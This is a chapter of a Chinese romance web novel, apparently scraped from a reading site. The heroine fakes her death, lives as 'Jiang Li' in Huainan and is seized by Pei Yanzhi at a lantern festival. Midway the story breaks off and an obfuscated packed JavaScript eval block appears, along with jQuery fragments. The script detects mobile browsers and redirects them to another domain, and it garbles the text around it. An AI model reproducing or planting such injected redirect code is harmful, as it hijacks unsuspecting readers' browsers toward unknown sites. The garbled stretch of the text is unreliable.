默认冷灰
24号文字
方正启体

65. 江梨

作者:潮生鸦鸣本书字数:K更新时间:
    永昌三十二年,惊蛰。


    桃涨柳烟,橹碎春水。


    扎着双髻的小丫鬟在钱庄里踱步,“真是没想到,咱们小姐真厉害,用两年时间就把这快黄了的钱庄盘活了~”


    温棠梨躺在椅子上,挪开了遮面的团扇,三年过去,她出落得越发标致,杏眸潋滟似春水含烟,称得上一句沉鱼落雁。


    小丫鬟至今记得那日清晨,天还没亮,江府石阶上趴着个煤炭儿,门口两座石狮子雄赳赳气昂昂地像是盯着什么邪物。


    她当时拎着扫帚尖声嚷道:“哪个杀千刀的往咱们府前扔尸首!小心咱家老爷请你吃牢饭!”


    谁知那“尸首”突然动了动,缓缓举起乌黑的手。温棠梨干裂的唇间挤出气音,声音沙哑,“没死……”


    “啊!诈尸了!!!”丫鬟尖叫着跑开,扫帚掉了都不敢回头捡。


    祠堂的梁木在身后轰然倒塌时,温棠梨其实并不确定这场大火究竟会烧毁多少人的命运。


    或许她从骨子里就继承了温晋的自私自利,事出紧急,她实在来不及准备。


    不知道亲族会遭到怎样的苛责。


    整整三个月温晋没敢在朝会上抬头。


    这件事情闹得太大了,亲女儿烧祠堂、在祠堂自焚,这桩桩件件一出来,各种传闻都有,说什么温晋苛责庶女,温晋抛妻弃女,朝堂市井开始八卦,温晋的脸青一块红一块的。


    温棠梨这段日子也不好过。


    伤疤蜷曲在皮肤上,像一条条永远不会舒展的深褐色蜈蚣,新生的部分泛着粉白,边缘却凝着焦黑的褶皱,触感粗糙得像块被火舔过的树皮。


    她当时在衣服下藏了几个水袋,着火时将其扎破打湿了全身,跑出来时护住了自己的脸。


    温棠梨谋算着,让银翎在祠堂给自己改装了一个隐秘的暗格出入口,大火一烧,什么也发现不了。


    身后烈焰吞噬了预先备好的替身尸首,那具被刻意烧焦的躯体,与她分毫不差。


    跑出祠堂后,温棠梨早早计划过路线,她回到自己冷清的院子里,带了些钱,用院子角落的梯子爬了出去。


    裴砚之说得没错,梯子是该换了,温棠梨摔了个狗吃屎。


    不过温棠梨抖了抖头发,掌心被碎石划出血痕也浑不在意,她的心情仍旧很好。


    因为她逃出来了!!


    逃出来后,她想自己一定要去一趟淮南,便用钱上了一位农户的牛车。


    农户对这个“小煤炭儿”实在没什么好脸色,想着能赚点就赚点吧,温棠梨给的钱就是个正常价。


    温棠梨的一切节奏都得按着农户来,她没有空治疗伤口,饥一顿饱一顿,最后快到淮南的时候,温棠梨疼晕了过去。


    农户没敢细想,把她丢在江府门口。


    稍后温棠梨在江府简单滞留了几天后,把身体养得好了些,便立马离开了。


    她怕被探查到行踪,从而害了江家,自己为了逃婚假死,已经犯了欺君之罪。


    自此以后,温棠梨给自己改了个名字,跟母亲姓,叫江梨。


    等京城的风声安稳了些,她慢慢地开始在淮南附近走动,与江家的联系也稍微密切了些。


    想象中的冷眼与嘲弄并未到来。


    温棠梨见到江今禾的牌位的那一瞬间,终于崩溃了,她跪在蒲团上,额头抵着冰冷的地砖,哭得像个迷路多年的孩子。


    春婵托着下巴说:“小姐小姐,马儿都喂饱了,咱们这就启程?”


    春婵这丫头,是江家老太爷亲自指来伺候的。自小在江家长大,她了解了这位倒在江家门口的“煤炭儿”竟是流落在外多年的小主子,可谓受尽了不少苦楚,春婵不由地心疼。


    温棠梨施施然起身,这家钱庄原是江家最不起眼的产业,离淮南也近,便留给她落脚,好在,温棠梨将其打理得不错,营收也很可观。


    江老太爷说:“棠梨打小就没怎么在江家待过,在外面受了不少苦,现在回来了就要好好的与家人亲近亲近才好。”


    便定下了这个规矩,温棠梨每个月必须回江家小住上几天,要是多住,那只更好。


    江老太爷拄着拐杖立在廊下,望着庭院中那个执伞的窈窕身影。


    细雨沾湿了她的发尾,转身掩不住那与江今禾如出一辙的眉眼。


    他终是没忍住,用袖口按了按眼角。


    温棠梨静静站在雨帘中,伞面上滚落的雨珠串成晶莹的帘子。


    “太爷爷可曾惦记棠梨?”


    “好了,净学你娘那套油嘴滑舌!进来吃饭。”江老太爷作势板起脸,手却轻轻拍着温棠梨的背,将其带入内阁,“最近身体还好吧?”


    “多谢爷爷的玉肌膏,日日涂着呢,已经好得差不多了。倒是爷爷您还请多保重身体。”温棠梨上来搀扶着他。


    一张桌子上,江家四代人从头坐到尾,好不热闹,今天吃的是时令最新鲜的荠菜馄饨。


    “转眼就到三月份了啊。”江老太爷感慨死了一下,眼尾笑纹舒展,“今年淮南的河灯节,你定要去瞧瞧。那般景致,天下谁人不惦记。”


    江忆梦连忙称是,“正是,棠梨你从来没有参加过吧,正巧姐姐这里有最好的观景位置,来不来。”


    温棠梨笑得温婉,“正有此意,那便多谢姐姐了。”


    淮南河灯吗?


    温棠梨小时候陪着母亲到处撒丫子跑,确实没有正儿八经在淮南待过多少天。


    想来是江今禾看遍了这淮南河灯的繁华,却忘记了新生的温棠梨还未曾见识过。


    她对儿时的记忆已然模糊。


    只记得母亲是个矛盾的形象,时而温婉,时而咋呼,上刀山下火海,她眼里的江今禾貌似什么都能做到。


    江家吃的是简单了些,但充满了家的味道。


    饭后,江忆梦拉着温棠梨坐到铜镜前。


    “真真是标致。”江忆梦执起木梳,望着铜镜中的人儿叹道:“妹妹若肯妆点一番出门,怕是要惹得满城公子掷果盈车。”


    温棠梨闻言不过浅笑。


    自打来了淮南,横竖不必见外人,也无需端着京城贵女的架子,她倒乐得自在。


    “姐姐替你梳妆。”江忆梦眸光流转,将她从头到脚细细打量一番,“这身素衣也该换换了。”


    温棠梨闻言指尖一颤,下意识攥紧了衣襟。那些蜿蜒在肌肤上的伤痕,连她自己都不愿多看一眼。


    江忆梦却忽然背过身去,笑道:“你自己更衣罢,我不会偷看的。”


    主子严令不许入内,春婵


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15704514|162936||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    急得在廊下团团转。


    约一个时辰后,春婵猛地抬头,却见门槛处先探出一截鞋履。


    春婵:“喔噢……”


    *


    长街两侧灯笼高悬,酒旗在晚风中猎猎翻飞,酒香在人群中织成一张醉人的网。


    那戴青面獠牙面具的男子,便立在这片浮世繁华中央。周围笑闹的游人都不自觉绕开他三尺,分明是佳节,他身边似乎格外凄清。


    小贩的吆喝声忽然断了茬。


    那戴着玄色手套的指节屈起时,两枚铜钱落在蜜饯摊上。


    “谢谢光临。”小贩望着男人离去的背影,迟迟地说出这句话。


    “淮河画舫,公子要不要来瞧一瞧看一看啊!”岸边娇声招揽的姑娘罗衫半解,却在看清来人时僵了笑意,她也没想到会招来这么个家伙,这面具有够吓人的,女人犹豫了一下说:“您、可要寻个乐子?”


    “备一叶扁舟。”面具下传来男人毫无波澜的声音。


    扁舟离岸时,满河灯影晃成一片碎影。男人负手而立,眼中映着这举世繁华,却仿佛看着一场与己无关的皮影戏。


    这是他来淮南的第几次了?


    已经数不清了。


    他数过春日的柳,夏夜的萤,晚秋的枯荷,冷冬的初雪。


    他只感受到了孤独。


    暮色如墨,渐渐浸染了他的轮廓。


    不知不觉间,他已驻足于淮南最负盛名的画舫之下。舫上华灯璀璨,倒映在粼粼水面上。


    他缓缓抬首,目光穿过摇曳的灯影,落在舫窗边一抹孤清的背影上。那女子斜倚雕栏,怀中拥着一束素白的花枝。


    男人眯眯眼,貌似是梨花。


    似是察觉到身后的目光,她蓦然回首。


    刹那间,画舫的喧嚣仿佛远去,唯余夜风拂过花枝的轻响。


    面具下的呼吸骤然乱了。


    灯影交错间,一双杏眸若秋水横波,唇不点而朱,眉梢眼角扫了极淡的金粉,她温柔地笑起来,满院的春光都失了颜色。


    “公子,要来一束花吗?”温棠梨笑着向他递去了一枝梨花。


    男人急不可耐地跃上画舫,收下她递来的花枝,只见修长的手覆盖上面具,缓缓将其摘下。


    “温棠梨,是你先来招惹我的,凭什么说走就走?一走了之?不可能!我跟你没完!”男人将面具一掀,露出那张温棠梨刻在骨子里的容颜。


    温棠梨一愣。


    裴砚之!!!


    他长大的模样倒是和第一世没什么区别,只是哪里不太对劲!


    貌似更疯了一点?怎么会这样?


    不行,现在绝对不能跟他扯上关系。


    温棠梨眼波流转,执帕掩唇轻笑“公子,你怕是认错人了,小女子名为江梨,并不是你所认识的温姑娘。”


    话音未落,忽觉腰间一紧。


    裴砚之竟单手将她拦腰抱起,稳稳扛在肩头,织金裙摆在空中划出凌乱的弧线。


    “你!你个登徒子!快放我下来!”她攥拳捶打那玄色锦衣下的脊背,却换来更用力的禁锢。


    “既然不是她……”裴砚之低笑一声,踏着画舫雕栏纵身跃起,“那便请江姑娘陪在下走一遭。”


    草!天杀的裴砚之!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)